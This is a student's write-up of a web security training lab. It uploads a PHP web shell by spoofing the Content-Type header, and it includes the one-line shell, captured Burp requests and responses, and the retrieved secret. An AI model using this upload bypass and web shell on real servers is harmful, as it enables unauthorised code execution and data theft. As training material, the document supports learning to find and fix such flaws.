

Lab: Web shell upload via Content-Type restriction bypass

NAME : SIRAJUDIN SEID

CTC-153-26

Lab: Web shell upload via Content-Type restriction bypass

APPRENTICE

 LAB  Solved



This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials:

`wiener:peter`

1. Log in and upload an image as your avatar, then go back to your account page.
2. In Burp, go to **Proxy > HTTP history** and notice that your image was fetched using a `GET` request to `/files/avatars/<YOUR-IMAGE>`. Send this request to Burp Repeater.
3. On your system, create a file called `exploit.php`, containing a script for fetching the contents of Carlos's secret. For example: `<?php echo file_get_contents('/home/carlos/secret'); ?>`

4. Attempt to upload this script as your avatar.
The response indicates that you are only allowed to upload files with the MIME type `image/jpeg` or `image/png`.
5. In Burp, go back to the proxy history and find the `POST /my-account/avatar` request that was used to submit the file upload. Send this to Burp Repeater.
6. In Burp Repeater, go to the tab containing the `POST /my-account/avatar` request. In the part of the message body related to your file, change the specified `Content-Type` to `image/jpeg`.
7. Send the request. Observe that the response indicates that your file was successfully uploaded.
8. Switch to the other Repeater tab containing the `GET /files/avatars/<YOUR-IMAGE>` request. In the path, replace the name of your image file with `exploit.php` and send the request. Observe that Carlos's secret was returned in the response.
9. Submit the secret to solve the lab.

Lab:2 Web shell upload via Content-Type restriction bypass

goal: to bypass the content-type restriction
by changing image/jpeg

credentials:

uname=wiener

password=peter

Request

Pretty Raw Hex

```
2 Host: 0a1d00db0376de4887f3932a00ae0038.web-security-academy.net
3 Cookie: session=pkCj6WQyG07UOk5yEMnIbRe2QcbdHKh
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: multipart/form-data; boundary=----geckoformboundary32b10ffdfec6e60e651454abb65657f
9 Content-Length: 531
10 Origin: https://0a1d00db0376de4887f3932a00ae0038.web-security-academy.net
11 Referer: https://0a1d00db0376de4887f3932a00ae0038.web-security-academy.net/my-account?id=w1ener
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17 Priority: u=0, i
18 Te: trailers
19
20 -----geckoformboundary32b10ffdfec6e60e651454abb65657f
21 Content-Disposition: form-data; name="avatar"; filename="webshell1.php"
22 Content-Type: application/x-php
```

Response

Pretty Raw Hex Re...

```
1 HTTP/2 403 Forbidden
2 Date: Fri, 21 Aug 2026 06:53:50 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Content-Type: text/html; charset=UTF-8
5 X-Frame-Options: SAMEORIGIN
6 Content-Length: 231
7
8 Sorry, file type application/x-php is not allowed
9 Only image/jpeg and image/png are allowed
10 Sorry, there was an error uploading your file.<p>
    <a href="/my-account" title="Return to previous page">
      « Back to My Account
    </a>
  </p>
```

then change that application/x-php to image/jpeg

Intercept HTTP history WebSockets history Match and replace Proxy settings

Filter settings: Hiding CSS co... Pro version only

#	Host	Met...	URL	Para...	Edited	Status c...	Leng...	MIME ...	E
18...	https://0a1d00db037...	GET	/my-account			200	4449	HTML	
18...	https://0a1d00db037...	GET	/files/avatars/webshell1....			200	207	HTML	pt
18...	https://0a1d00db037...	GET	/academyLabHeader			101	147		

Request

Pretty Raw Hex

```

Host: 0a1d00db0376de4887f3932a00ae0038.web-security-academy.net
Cookie: session=pkCQj6WQyG07Uok5yEMnIbRe2QcbdHKh
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1d00db0376de4887f3932a00ae0038.web-

```

Response

Pretty Raw Hex Render

```

1 HTTP/2 200 OK
2 Date: Fri, 21 Aug 2026 06:56:54 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Content-Type: text/html; charset=UTF-8
5 X-Frame-Options: SAMEORIGIN
6 Content-Length: 32
7
8 cLhuXeqyB45tUeRKGOdd7frWS1eAzWW

```

Lab: Web shell upload via Content-Type restriction bypass

0a1d00db0376de4887f3932a00ae0038.web-...

OffSec Geez Tech Web Security Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB

Web shell upload via Content-Type restriction bypass

Back to lab description >>

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning](#)

My Account

Your username is: wiener

[Home](#) | [My account](#) | [Log out](#)